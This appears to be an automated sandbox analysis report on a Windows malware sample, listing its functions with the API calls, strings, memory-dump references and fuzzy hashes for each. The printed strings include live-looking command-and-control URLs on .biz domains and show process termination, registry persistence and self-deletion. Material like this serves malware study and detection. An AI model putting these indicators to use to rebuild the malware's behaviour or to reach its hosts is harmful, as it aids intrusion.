CreateProcessA.KERNEL32(?,--k33p,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00401061
CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,--k33p,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00401076
WaitForSingleObject.KERNEL32(?,000000FF,?,80000000,00000000,00000000,00000003,00000000,00000000,?,--k33p,00000000,00000000,00000000,00000000,00000000), ref: 00401083
CloseHandle.KERNEL32(00000000,?,000000FF,?,80000000,00000000,00000000,00000003,00000000,00000000,?,--k33p,00000000,00000000,00000000,00000000), ref: 0040109A
CloseHandle.KERNEL32(?,?,000000FF,?,80000000,00000000,00000000,00000003,00000000,00000000,?,--k33p,00000000,00000000,00000000,00000000), ref: 004010A2
CloseHandle.KERNEL32(?,?,?,000000FF,?,80000000,00000000,00000000,00000003,00000000,00000000,?,--k33p,00000000,00000000,00000000), ref: 004010AB

Strings

--k33p, xrefs: 0040105B

Memory Dump Source

Source File: 00000000.00000002.1231378795.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1231364784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231410868.0000000000411000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231427878.0000000000412000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231440679.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231457639.0000000000416000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: CloseHandle$Create$FileInfoObjectProcessSingleStartupWait
String ID: --k33p
API String ID: 881816827-1573217081
Opcode ID: 9d63912a6165663fb29f0ce3733aad14d24515d983255f787e935eda4860b09f
Instruction ID: a256d911639786f03d362c3fe8c500751f7b31c154176f2d7aa8b79109b77891
Opcode Fuzzy Hash: 9d63912a6165663fb29f0ce3733aad14d24515d983255f787e935eda4860b09f
Instruction Fuzzy Hash: 81F05E30244711BAE62136328C8FF5F355DDF40B24F608A3BB660750D2EA7CB9505A6E

Function 0040172D Relevance: 12.1, APIs: 8, Instructions: 82networkCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 0040174D
connect.WS2_32(00000000,00000002,00000010), ref: 0040175E
ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 0040176E
WSAGetLastError.WS2_32 ref: 0040177A
ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 0040178D

Memory Dump Source

Source File: 00000000.00000002.1231378795.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1231364784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231410868.0000000000411000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231427878.0000000000412000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231440679.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231457639.0000000000416000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: ioctlsocket$ErrorLastconnect
String ID:
API String ID: 1886816560-0
Opcode ID: e4f2466682005c1bbfe2ccc489831ac4d0005d98a028d0e7b766c9e5207aa5d6
Instruction ID: 80ff8d8e7914a780a02c5522988b0addf1eea3e83e0555c781dce3cf114191c7
Opcode Fuzzy Hash: e4f2466682005c1bbfe2ccc489831ac4d0005d98a028d0e7b766c9e5207aa5d6
Instruction Fuzzy Hash: DF21D3715083016AE720AA318C41FAF76ECEF85319F014A3EF591E61E1E77C995887AB

Function 004011CF Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019), ref: 004011F4
wsprintfA.USER32 ref: 0040120B
RegEnumKeyA.ADVAPI32(?,00000000,?,00000300), ref: 0040122F
RegCloseKey.ADVAPI32(?,00000000,00000000,?,00000300), ref: 0040123B
RegDeleteKeyA.ADVAPI32(?), ref: 00401242

Strings

%s\%s, xrefs: 00401201

Memory Dump Source

Source File: 00000000.00000002.1231378795.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1231364784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231410868.0000000000411000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231427878.0000000000412000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231440679.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231457639.0000000000416000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: CloseDeleteEnumOpenwsprintf
String ID: %s\%s
API String ID: 4202809218-4073750446
Opcode ID: 90fe6b9c51703dbfa0923f22b213a36cb3d32ee233706e0e6cf8262339dd137d
Instruction ID: 43378be4e51f8d6f5b4f2e5c17315015ce79a34e9362f07ea0b2f9227eb5dab3
Opcode Fuzzy Hash: 90fe6b9c51703dbfa0923f22b213a36cb3d32ee233706e0e6cf8262339dd137d
Instruction Fuzzy Hash: 93F0C8716842043BE221F2169C82FFB659DDB887D8F00043EF609F51D3EA388D55516A

Function 00401CB0 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 108stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?), ref: 00401CF6
lstrcpy.KERNEL32(?,?), ref: 00401D1E
wsprintfA.USER32 ref: 00401D6F
wsprintfA.USER32 ref: 00401D91

Strings

http://%s.biz/d/G?, xrefs: 00401D67
%02X, xrefs: 00401D8B

Memory Dump Source

Source File: 00000000.00000002.1231378795.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1231364784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231410868.0000000000411000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231427878.0000000000412000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231440679.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231457639.0000000000416000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: wsprintf$lstrcpylstrlen
String ID: %02X$http://%s.biz/d/G?
API String ID: 1876335253-1405168728
Opcode ID: 953130e01b65f3a85c88ad5837edf32bf0d143c96e7593f3564bd87b3580a917
Instruction ID: 281491f936d579379e8b64b5061a33f835f4fa42bec1d8e938d6b25608a27405
Opcode Fuzzy Hash: 953130e01b65f3a85c88ad5837edf32bf0d143c96e7593f3564bd87b3580a917
Instruction Fuzzy Hash: F3312631A042498BDB10DBE5C88179BBBF4AF41318F54463AE451AB2D6EB7CE945CB88

Function 004044D6 Relevance: 7.5, APIs: 5, Instructions: 37filethreadCOMMON

Download Yara Rule

APIs

GetFileSize.KERNEL32(?,00000000), ref: 004044DE

Part of subcall function 00401000: RtlAllocateHeap.KERNEL32(00000000,00000020,00401F95,00000000,?,?,00403EF3,?,80000000,00000001,00000000,00000003,00000000,00000000,wininet.dll,iphlpapi.dll), ref: 00401009

ReadFile.KERNEL32(?,?,00000000,?,00000000,?,00000000), ref: 00404504
CloseHandle.KERNEL32(?,?,?,00000000,?,00000000,?,00000000), ref: 00404510
CreateThread.KERNEL32(00000000,00001000,00401038,?,00000000,?), ref: 0040453F
CloseHandle.KERNEL32(00000000,?,80000000,00000001,00000000,00000003,00000000,00000000,%ComSpec%,?,00000104), ref: 00404545

Memory Dump Source

Source File: 00000000.00000002.1231378795.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1231364784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231410868.0000000000411000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231427878.0000000000412000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231440679.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231457639.0000000000416000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: CloseFileHandle$AllocateCreateHeapReadSizeThread
String ID:
API String ID: 2298506686-0
Opcode ID: 1bdf9ad1154a04685c8f6efcf27d70099599908b2f13d471d88d99be1cec595e
Instruction ID: 41918153c50fc80e01e0602b9695f9ed68f71825d170eb288a542c14e04ea336
Opcode Fuzzy Hash: 1bdf9ad1154a04685c8f6efcf27d70099599908b2f13d471d88d99be1cec595e
Instruction Fuzzy Hash: AEF0A4701087447AD7206AB48C06F6B3188EB85744F60093FB3C5F60D1DA789900876B

Function 00401E00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 123networkfileCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,?,?), ref: 00401E24
select.WS2_32(00000000,?,00000000,00000000,00000028), ref: 00401E67
recv.WS2_32(?,?,?,00000000), ref: 00401E77

Strings

(, xrefs: 00401E3B

Memory Dump Source

Source File: 00000000.00000002.1231378795.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1231364784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231410868.0000000000411000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231427878.0000000000412000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231440679.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231457639.0000000000416000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: FileInternetReadrecvselect
String ID: (
API String ID: 1361185869-3887548279
Opcode ID: 40fda63411a4479776fd01e72a871d7921f88cd08bf6b18510cebb54a805897b
Instruction ID: 3ea35419ed2d3212b6131b0e69722baf812322277d3c9b307799a4a859a905b3
Opcode Fuzzy Hash: 40fda63411a4479776fd01e72a871d7921f88cd08bf6b18510cebb54a805897b
Instruction Fuzzy Hash: 5941A1701083569BD3218F29C880B6BBBE4EF45320F14C66FF9D9962E2D3389841CB96

Function 00401625 Relevance: 6.1, APIs: 4, Instructions: 96networkCOMMON

Download Yara Rule

APIs

select.WS2_32(00000000,?,00000000,00000000,?), ref: 004016A3
recv.WS2_32(00000000,?,?,00000002), ref: 004016B3
recv.WS2_32(00000000,?,00000001,00000000), ref: 004016D2
recv.WS2_32(00000000,?,00000000,00000000), ref: 00401708

Memory Dump Source

Source File: 00000000.00000002.1231378795.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1231364784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231410868.0000000000411000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231427878.0000000000412000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231440679.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231457639.0000000000416000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: recv$select
String ID:
API String ID: 873784944-0
Opcode ID: 19cfc51653fbec052deccd225765072a13761a54495cffc271f2aaf0d58c8bdb
Instruction ID: e7af01451db4feedd7893defef3d64e674ab9aaaa9521898a169f104c070c285
Opcode Fuzzy Hash: 19cfc51653fbec052deccd225765072a13761a54495cffc271f2aaf0d58c8bdb
Instruction Fuzzy Hash: CC31A0301083429FE7209E28CC80B2BBBD8EB95748F184D3EF5D5A72E1E37A88158756

Function 004025C3 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 45stringCOMMON

Download Yara Rule

APIs

lstrcmpiA.KERNEL32(?,modem), ref: 00402620
lstrcmpiA.KERNEL32(?,isdn), ref: 0040263E

Strings

isdn, xrefs: 00402629
modem, xrefs: 00402609

Memory Dump Source

Source File: 00000000.00000002.1231378795.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1231364784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231410868.0000000000411000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231427878.0000000000412000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231440679.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231457639.0000000000416000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: lstrcmpi
String ID: isdn$modem
API String ID: 1586166983-1928581975
Opcode ID: 8146aa7d45ddf9213865f455b1552900cd1ed20f7322fa4dc1291e7ed423a0ba
Instruction ID: 9b8ea77cd675e603e91f08c673882212f316c2627d3a17e85c4274d3e77867b6
Opcode Fuzzy Hash: 8146aa7d45ddf9213865f455b1552900cd1ed20f7322fa4dc1291e7ed423a0ba
Instruction Fuzzy Hash: 91015270104702ABD700EF64CA98BAB73E8AB54704F548C3AB5D8D62C0E7B9D5858B9A

Function 004012C2 Relevance: 6.0, APIs: 4, Instructions: 28stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?), ref: 004012E6
lstrcat.KERNEL32(00000000,?), ref: 004012EC
SetFileAttributesA.KERNEL32(?,00000080,00000000,?,?,00410C80), ref: 004012F7
DeleteFileA.KERNEL32(?,?,00000080,00000000,?,?,00410C80), ref: 004012FD

Memory Dump Source

Source File: 00000000.00000002.1231378795.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1231364784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231410868.0000000000411000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231427878.0000000000412000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231440679.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231457639.0000000000416000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: File$AttributesDeletelstrcatlstrcpy
String ID:
API String ID: 875521641-0
Opcode ID: 155f869a8d2c8b8c2bfbe120dc05a94955090dbad50f581c6a2e5c60ed242bff
Instruction ID: 5708c53113cc1b56bc36642c0f65cd934a376a65166fd27ea49a52d45fe0ee74
Opcode Fuzzy Hash: 155f869a8d2c8b8c2bfbe120dc05a94955090dbad50f581c6a2e5c60ed242bff
Instruction Fuzzy Hash: 78E0D87244020066F6203779EC8DBDB719CEB50354F100A3FF4C5711D1A6BC65D489AD

Function 00401FBB Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 20stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000012,http://utbidet-ugeas.biz/d/rpt?), ref: 00401FD8
lstrcat.KERNEL32(00000000,00000012), ref: 00401FDE

Part of subcall function 004019E8: lstrcpy.KERNEL32(?), ref: 00401A14
Part of subcall function 004019E8: lstrlen.KERNEL32(00000000,?), ref: 00401A1A
Part of subcall function 004019E8: htons.WS2_32(00000050), ref: 00401A7B
Part of subcall function 004019E8: socket.WS2_32(00000002,00000001,00000006), ref: 00401AD6
Part of subcall function 004019E8: closesocket.WS2_32(00000000), ref: 00401AF9
Part of subcall function 004019E8: InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 6.0; Win32),00000004,00000000,00000000,00000000), ref: 00401C0F
Part of subcall function 004019E8: InternetSetOptionA.WININET(00000000,00000002,00000004), ref: 00401C35
Part of subcall function 004019E8: InternetSetOptionA.WININET(00000000,00000006,00000004,00000004), ref: 00401C41
Part of subcall function 004019E8: InternetSetOptionA.WININET(00000000,00000005,00000004,00000004), ref: 00401C4D

Part of subcall function 00401F59: InternetCloseHandle.WININET(?), ref: 00401F64
Part of subcall function 00401F59: InternetCloseHandle.WININET(00000000), ref: 00401F6C

Strings

http://utbidet-ugeas.biz/d/rpt?, xrefs: 00401FCE
urlinj_conn, xrefs: 00401FBB

Memory Dump Source

Source File: 00000000.00000002.1231378795.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1231364784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231410868.0000000000411000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231427878.0000000000412000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231440679.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231457639.0000000000416000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: Internet$Option$CloseHandlelstrcpy$Openclosesockethtonslstrcatlstrlensocket
String ID: http://utbidet-ugeas.biz/d/rpt?$urlinj_conn
API String ID: 1417007407-2018722472
Opcode ID: 160c73f2664787e70d104c44272e6d34a41457b2801fe17a4dc247fb701dc91f
Instruction ID: dcd2b2d7d85f2ee865dda91bc73112af5befebb961346a1fd4e47604b50803ab
Opcode Fuzzy Hash: 160c73f2664787e70d104c44272e6d34a41457b2801fe17a4dc247fb701dc91f
Instruction Fuzzy Hash: 06D012B164060756E710B3F6CC4ABAB218D9F44358FC0443A7148E51D1DABCD580566D

Function 0040385C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,RasEnumConnectionsA), ref: 00403874

Strings

iphlpapi.dll, xrefs: 0040388A
RasEnumConnectionsA, xrefs: 0040385C, 0040386E

Memory Dump Source

Source File: 00000000.00000002.1231378795.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1231364784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231410868.0000000000411000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231427878.0000000000412000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231440679.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231457639.0000000000416000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: AddressProc
String ID: RasEnumConnectionsA$iphlpapi.dll
API String ID: 190572456-2181992158
Opcode ID: 8db1fa8c4ac57291dcac78cdb1220f9509de1ccc7371f44f51738c5d27491f15
Instruction ID: 2bd81031e0f0fc3a03d94630145fcdd2a3789661c70154c2603156bb0e404be5
Opcode Fuzzy Hash: 8db1fa8c4ac57291dcac78cdb1220f9509de1ccc7371f44f51738c5d27491f15
Instruction Fuzzy Hash: EFD0172210864268C7052A7909810A92E98E517765338DFF7F1B3E90D6D3BCAAC34A6E

Function 004038AC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,GetIpAddrTable), ref: 004038C4

Strings

GetIpAddrTable, xrefs: 004038AC, 004038BE
_Classes, xrefs: 004038DA

Memory Dump Source

Source File: 00000000.00000002.1231378795.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1231364784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231410868.0000000000411000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231427878.0000000000412000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231440679.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231457639.0000000000416000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: AddressProc
String ID: GetIpAddrTable$_Classes
API String ID: 190572456-3592534314
Opcode ID: bcd1a865101a547805a78b1c32fdabf224cd4a56b1fd69fae467257179b7e29f
Instruction ID: 19f3e7cda966fd936d07cde807497132fe501c7d05929ad1586fdb7c28509cfa
Opcode Fuzzy Hash: bcd1a865101a547805a78b1c32fdabf224cd4a56b1fd69fae467257179b7e29f
Instruction Fuzzy Hash: CCD012216082436AC7116924088009E2D48E566765330CAF3F1A3E91D1D2BC99E2576E

Analysis Process: onbeateax-oded.exePID: 6592, Parent PID: 6404COMMON

Executed Functions

Function 00403478 Relevance: 38.6, APIs: 20, Strings: 2, Instructions: 132processfilelibraryCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,004107CF), ref: 00403490
GetModuleFileNameA.KERNEL32(00000000,?,00000104,kernel32.dll,004120F0), ref: 004034AE
GetCommandLineA.KERNEL32(00000000,?,00000104,kernel32.dll,004120F0), ref: 004034B3
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004034CE
GetCurrentProcessId.KERNEL32(00000002,00000000,00000000,?,00000104,?,004107CF), ref: 004034E2
Process32First.KERNEL32(?,?), ref: 0040350A
Process32Next.KERNEL32(?,00000128), ref: 00403532
CloseHandle.KERNEL32(?,?,?), ref: 00403540
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?), ref: 00403550
CloseHandle.KERNEL32(00000000,00000000,000000FF,?,?,?), ref: 00403556
GetStartupInfoA.KERNEL32(?), ref: 00403563
OpenProcess.KERNEL32(00100000,00000000,?,?,?), ref: 0040359A
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000000,00000000,000000FF,?,?), ref: 0040449C
ExitProcess.KERNEL32(00000000,00000002,00000000,00000000,?,00000104,?,004107CF), ref: 004044A3
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,0041041C,?,00000104), ref: 004044C6
GetFileSize.KERNEL32(00000000,00000000,?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,00000002,00000000,00000000,?,00000104), ref: 004044DE
ReadFile.KERNEL32(?,?,00000000,?,00000000,00000000,00000000,?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,00000002), ref: 00404504
CloseHandle.KERNEL32(?,?,?,00000000,?,00000000,00000000,00000000,?,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 00404510

Strings

Sk(, xrefs: 0040354F
--k33p, xrefs: 004034B8

Memory Dump Source

Source File: 00000002.00000002.3703109822.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3703002806.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703287500.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703598653.0000000000411000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703789051.0000000000413000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703995099.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3704167547.0000000000416000.00000008.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: FileProcess$CloseCreateHandle$Process32$AddressCommandCurrentExitFirstInfoLineModuleNameNextObjectOpenProcReadSingleSizeSnapshotStartupToolhelp32Wait
String ID: --k33p$Sk(
API String ID: 1689075337-371387422
Opcode ID: f9680244f74dcddb98ce45c722f38236eab3f416f96e61956dc08e0454d0e7d9
Instruction ID: d00f2b807b45ab01cd2c6a6b825232ba24a6d1af1351b3df965921cd90c8d434
Opcode Fuzzy Hash: f9680244f74dcddb98ce45c722f38236eab3f416f96e61956dc08e0454d0e7d9
Instruction Fuzzy Hash: 1441A470248745B9E730ABB18C46FAF759CEF84744F50483FB285B90D2DBBC99008A6B

Non-executed Functions

Function 004035B5 Relevance: 19.7, APIs: 13, Instructions: 175libraryloaderthreadCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,004107BC), ref: 004035CD
LoadLibraryA.KERNEL32(004107B2,0041079A,?,004107BC), ref: 0040363B
GetProcAddress.KERNEL32(00000000,004107B2), ref: 00403643
GetProcAddress.KERNEL32(00000000,00410785), ref: 00403653
GetProcAddress.KERNEL32(00000000,00410774), ref: 00403663
GetProcAddress.KERNEL32(00000000,00410761), ref: 00403673
GetProcAddress.KERNEL32(00000000,0041074E), ref: 004036BD
GetProcAddress.KERNEL32(00000000,00410736), ref: 004036D2
CloseHandle.KERNEL32(?,?,004107BC), ref: 004037C0
WSAStartup.WS2_32(00000002,?), ref: 00403817
GetTickCount.KERNEL32 ref: 0040381C
GetCurrentProcessId.KERNEL32(00000000,?,00000104,kernel32.dll,004120F0), ref: 00403823
GetCurrentThreadId.KERNEL32 ref: 0040382A

Memory Dump Source

Source File: 00000002.00000002.3703109822.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3703002806.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703287500.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703598653.0000000000411000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703789051.0000000000413000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703995099.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3704167547.0000000000416000.00000008.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: AddressProc$Current$CloseCountHandleLibraryLoadProcessStartupThreadTick
String ID:
API String ID: 4016896573-0
Opcode ID: d9390f8febf2da5f91080ca32e3e35fbef43835b119a0d5e3771ce0ddcc14efc
Instruction ID: d6fc4fe45969fd7e8e5a1e80a5a711af8d5e660b819589561f52a4a0fe520863
Opcode Fuzzy Hash: d9390f8febf2da5f91080ca32e3e35fbef43835b119a0d5e3771ce0ddcc14efc
Instruction Fuzzy Hash: 0151F97020834269D7215B788D8575B2E8CAB06355F208977F1A1FB2D2D7FCD9C1CA2E

Function 00403FF5 Relevance: 61.5, APIs: 34, Strings: 1, Instructions: 236registrystringsynchronizationCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00403FC0
CreateMutexA.KERNEL32(00408778,00000001,0040880E,00408816,%02X,00000001,80000000,00000001,00000000,00000003,00000000,00000000,004105FE,004106F5,00410716,00000000), ref: 00403FD1
GetLastError.KERNEL32 ref: 00403FE5
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00404004
RegDeleteValueA.ADVAPI32(00000000,0041018D,00000002,00000000), ref: 0040402D
RegCloseKey.ADVAPI32(?,00000000,0041018D,00000002,00000000), ref: 00404036
GetCurrentProcessId.KERNEL32(00000002,00000000), ref: 0040405A
Process32First.KERNEL32(00000000,00000128), ref: 00404077
lstrcmpiA.KERNEL32(00000000,00000000), ref: 0040409E
lstrcmpiA.KERNEL32(00000000,0041059C), ref: 004040AD
OpenProcess.KERNEL32(00100201,00000000,?,00000000,00000000,00000128,00000000,00000128), ref: 004040C4
Process32Next.KERNEL32(00000000,00000128), ref: 004040E3
CloseHandle.KERNEL32(00000000,00000000,00000128), ref: 004040ED
SetPriorityClass.KERNEL32(?,00000040,00000000,00000000,00000128), ref: 00404100
TerminateProcess.KERNEL32(?,00000000,00000000,00000000,00000128), ref: 0040411C
WaitForSingleObject.KERNEL32(?,00001388,00000000,00000000,00000128), ref: 00404138
CloseHandle.KERNEL32(?,?,00001388,00000000,00000000,00000128), ref: 00404145
SetFileAttributesA.KERNEL32(?,00000080,00000000,00000000,00000128), ref: 00404160
DeleteFileA.KERNEL32(?,?,00000080,00000000,00000000,00000128), ref: 00404166
RegOpenKeyExA.ADVAPI32(80000001,004087C0,00000000,00020019,?,00000002,00000000), ref: 0040418F
RegCreateKeyExA.ADVAPI32(80000002,004087C0,00000000,00000000,00000000,000F003F,00408778,?,00000000,80000001,004087C0,00000000,00020019,?,00000002,00000000), ref: 004041C8
RegQueryValueExA.ADVAPI32(?,00408798,00000000,00000000,00412190,00000012), ref: 004041F9
RegSetValueExA.ADVAPI32(?,00408798,00000000,00000003,00412190,00000012,?,00408798,00000000,00000000,00412190,00000012), ref: 00404219
RegCloseKey.ADVAPI32(?,?,00408798,00000000,00000000,00412190,00000012), ref: 00404231
RegDeleteKeyA.ADVAPI32(80000002,004087C0), ref: 00404247
